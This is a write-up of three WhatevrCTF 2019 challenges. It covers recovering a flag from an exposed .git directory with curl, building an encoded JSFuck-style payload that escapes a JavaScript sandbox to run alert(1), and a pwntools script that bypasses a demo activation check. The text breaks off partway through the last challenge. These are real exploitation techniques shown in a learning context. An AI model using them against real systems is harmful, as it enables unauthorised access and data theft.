Write-ups for the WhatevrCTF 2019 capture the flag.
I’ve included write-ups for the non-trivial challenges.
#Web
#Swedish State Archive
This is a pretty easy challenge. The whole ‘archive’ theme makes me think of
perhaps version control… let’s see if there’s a .git/index
accidentally
running on the webserver…
The head of this page also has the following html:
<meta name="author" content="web_server.py">
and the contents of that path is:
from flask import Flask, request, escape
import os
app = Flask("")
@app.route("/")
def index():
return get("index.html")
@app.route("/<path:path>")
def get(path):
print("Getting", path)
if ".." in path:
return ""
if "logs" in path or ".gti" in path:
return "Please do not access the .git-folder"
if "index" in path:
path = "index.html"
if os.path.isfile(path):
return open(path, "rb").read()
if os.path.isdir(path):
return get("folder.html")
return "404 not found"
if __name__ == "__main__":
app.run("0.0.0.0", "8000")
It looks like .gti
is misspelt which is why we can access it but the logs
directory (containing all commit history) is blocked. What we can do is go back
in time through the master
branch’s objects.
$ curl http://13.53.175.227:50000/.git/refs/heads/master
e4729652052522a5a16615f0005f9c4dac8a08c1
… and now we have a starting point. To get the object we format it in a request
like the following with pigz -d
un-zlib compressing the body:
$ curl -s http://13.53.175.227:50000/.git/objects/e4/729652052522a5a16615f0005f9c4dac8a08c1 | pigz -d
commit 243tree 5e72097f3b99ce5936bff7c3b864ef6c7a0dae85
parent 0bba32f12b0b1dd8df052ebf3607dadccb9350d7
author Travis CI User <travis@example.org> 1576308513 +0000
committer Travis CI User <travis@example.org> 1576308513 +0000
Make things a bit tighter
The git object format might be a bit unusual but essentially the tree
is the
files in that commit and the parent is the previous commit. If we keep accessing
the parent commit eventually we’ll come upon:
$ curl -s http://13.53.175.227:50000/.git/objects/ab/4e6cc2bcfb3f9fbe4ee098ce3bffa9a7a6b80e | pigz -d
commit 243tree 326cb05f3fcbdf63aef0177fee81623ff4619398
parent 0d244f764db9257b18dd84f5830ff958e7b2571d
author Travis CI User <travis@example.org> 1576308513 +0000
committer Travis CI User <travis@example.org> 1576308513 +0000
did some work on flag.txt
which looks very useful… let’s access the tree:
$ curl -s http://13.53.175.227:50000/.git/objects/32/6cb05f3fcbdf63aef0177fee81623ff4619398 | pigz -d
tree 154100644 flag.txt�F�
��3gZ.��\~�.100644 folder.htmlV6�kŐfd�1����� �100644 index.html.�D����4��]�v.A�0�100644 web_server.py���d^dC�D+��5\�.
This looks like garbage but the crap after the flag.txt
is actually the decoded
sha1 blob hash:
Accessing that hash gives us the flag:
$ curl -s http://13.53.175.227:50000/.git/objects/ef/460ecd090b93b133675a0560eb15ae5c7ef822 | pigz -d
watevr{everything_is_offentligt}
#SuperSandbox
This was a fun one. It’s based of jsfck. Here’s the key for the code:
let env = {
a: (x, y) => x[y],
b: (x, y) => x + y,
c: (x) => !x,
d: []
};
where the format is <variable><fn><arg1><arg2>
. Here’s the mapping from JSFck
to the expression format:
x[y] - ?axy
!x - ?cx*
x+y - ?bxy
[] - ?d**
Now let’s take our alert(1)
code:
[][(![]+[])[+[]]+(![]+[])[!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+[]]][([]+[][(![]
+[])[+[]]+(![]+[])[!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+[]]])[!![]+!![]+!![]]+(
!![]+[][(![]+[])[+[]]+(![]+[])[!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+[]]])[+!![]
+[+[]]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!!
[]]+([][[]]+[])[+[]]+([]+[][(![]+[])[+[]]+(![]+[])[!![]+!![]]+(![]+[])[+!![]]+(!
![]+[])[+[]]])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!!
[]+!![]]+(![]+[])[+!![]]+(!![]+[])[+[]]])[+!![]+[+[]]]+(!![]+[])[+!![]]]((!![]+[
])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!
![]]+([][[]]+[])[+!![]]+(![]+[][(![]+[])[+[]]+(![]+[])[!![]+!![]]+(![]+[])[+!![]
]+(!![]+[])[+[]]])[!![]+!![]+[+[]]]+(![]+[])[+!![]]+(![]+[])[!![]+!![]]+(!![]+[]
)[!![]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]])()(+!![])
I’ll define some common sequences:
d=[]
B=![]
C=!![]
D=(![]+[])
E=(!![]+[])
F=0
G=1
H=([][[]]+[])
Q=d[D[F]+D[G+G]+D[G]+E[F]]
Let’s run a first round of subs:
Q[
// constructor
(d+Q)[3]+(d+Q)[6]+H[G]+D[3]+E[F]+E[G]+H[F]+(d+Q)[3]+E[F]+(d+Q)[6]+E[G]
](
// alert(1)
D[G]+D[2+(E)[3]+E[G]+E[F]+(d+Q)[Z]+G+(d+Q)[X]
)()
now setup our subs:
![] => Bcd* (B)
!![] => CcB* (C)
(![]+[]) => DbBd (D) "false"
(!![]+[]) => EbCd (E) "true"
![]+![] => FbBB (F) i.e. 0
+!![] => GbFC (G) i.e. 1
G+G => 2bGG (2) i.e. 2
2+G => 3b2G (3) i.e. 3
3+3 => 6b33 (6) i.e. 6
6+6 => Yb66 (Y) i.e. 12
Y+1 => ZbYG (Z) i.e. 13
Y+2 => XbY2 (X) i.e. 14
([][[]]+[]) => Hbde (H) i.e. "undefined"
"f" => RaDF (R)
"l" => SaD2 (S)
"a" => TaDG (T)
"t" => UaEF (U)
"flat" => VbRSVbVTVbVU (V)
Q => QadV (Q) i.e. function flat() { [native code] }
W => WbdQ (W) i.e. "function flat() { [native code] }"
now let’s fully substitute the code:
Q[
// constructor
W[3]+W[6]+H[G]+D[3]+U+E[G]+H[F]+W[3]+U+W[6]+E[G]
](
// alert(1)
T+S+E[G]+E[F]+U+W[Z]+G+W[X]
)()
Now we can finalize these much simpler rules:
"constructor"
W[3]+W[6]+H[G]+D[3]+U+E[G]+H[F]+W[3]+U+W[6]+E[G]
~ ! @ # U % ^ ~ U ! %
c o n s t r u c t o r
=>
~aW3!aW6@aHG#aD3%aEG^aHFMb~!MbM@MbM#MbMUMbM%MbM^MbM~MbMUMbM!MbM%
"alert(1)"
T + S + E[3] + E[G] + U + W[Z] + G + W[X]
T S - % U { }
a l e r t ( 1 )
=>
-aE3{aWZ}aWXNbTSNbN-NbN%NbNUNbN{NbNGNbN}
Now we have both the constructor
and alert string so we just need to.
Q[M](N)()
=>
faQMgfdNhg**
Now all together:
Bcd*CcB*DbBdEbCdFbBBGbFC2bGG3b2G6b33Yb66ZbYGXbY2HbdeRaDFSaD2TaDGUaEFVbRSVbVTVbVUQadVWbdQ~aW3!aW6@aHG#aD3%aEG^aHFMb~!MbM@MbM#MbMUMbM%MbM^MbM~MbMUMbM!MbM%-aE3{aWZ}aWXNbTSNbN-NbN%NbNUNbN{NbNGNbN}faQMgfdNhg**
Actually this doesn’t work due to URLencoding, here’s another variation:
Bcd*CcB*DbBdEbCdFbBBGbFC2bGG3b2G6b33Yb66ZbYGXbY2HbdeRaDFSaD2TaDGUaEFVbRSVbVTVbVUQadVWbdQ~aW3xaW6uaHGwaD3zaEGtaHFMb~xMbMuMbMwMbMUMbMzMbMtMbM~MbMUMbMxMbMz-aE3yaWZvaWXNbTSNbN-NbNzNbNUNbNyNbNGNbNvfaQMgfdNhg**
#PWN
#wat-sql
The challenge starts off by prompting us for a ‘Demo activation code’. Decompiling it, the following is the activation code:
void check_key(void) {
int user_key;
printf("%s","Demo activation code: ");
fflush(stdout);
fgets(user_key, 36, stdin);
user_key = strcmp("watevr-sql2019-demo-code-admin", user_key);
if (user_key == 0 && ((int*) user_key)[32] == 0x796573) {
puts("Demo access granted!");
} else {
puts("Demo access not granted!");
}
}
Which means to login we can do (0x796573
being sey
):
from pwn import *
sh = remote('13.53.39.99', 50000)
sh.sendlineafter('Demo activation code: ', 'watevr-sql2019-demo-code-admin\0\0sey')
sh.interactive()
Now we receive a prompt to read/write from a database